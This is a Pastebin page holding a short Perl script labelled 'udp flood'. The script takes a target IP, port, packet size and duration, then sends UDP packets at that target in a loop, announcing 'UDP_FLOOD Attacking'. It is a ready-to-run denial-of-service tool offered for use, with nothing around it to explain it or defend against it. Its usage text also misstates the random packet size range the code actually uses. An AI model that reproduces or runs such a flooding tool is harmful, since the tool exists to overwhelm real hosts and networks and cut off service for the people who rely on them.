Advertisement
xttpx

gott.1

Dec 7th, 2022
1,172
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.00 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. ##############
  4. # udp flood.
  5. ##############
  6.  
  7. use Socket;
  8. use strict;
  9.  
  10. if ($#ARGV != 3) {
  11.   print "gott.1.pl <ip> <port> <size> <time>\n\n";
  12.   print " port=0: use random ports\n";
  13.   print " size=0: use random size between 64 and 15000000\n";
  14.   print " time=0: continuous flood\n";
  15.   exit(1);
  16. }
  17.  
  18. my ($ip,$port,$size,$time) = @ARGV;
  19.  
  20. my ($iaddr,$endtime,$psize,$pport);
  21.  
  22. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  23. $endtime = time() + ($time ? $time : 1000000);
  24.  
  25. socket(flood, PF_INET, SOCK_DGRAM, 17);
  26.  
  27.  
  28. print "UDP_FLOOD Attacking: $ip " . ($port ? $port : "random") . " port with " .
  29.   ($size ? "$size-byte" : "random size") . " packets" .
  30.   ($time ? " for $time seconds" : "") . "\n";
  31. print "Break with Ctrl-C\n" unless $time;
  32.  
  33. for (;time() <= $endtime;) {
  34.   $psize = $size ? $size : int(rand(1024-64)+64) ;
  35.   $pport = $port ? $port : int(rand(65500))+1;
  36.  
  37.   send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport,
  38. $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement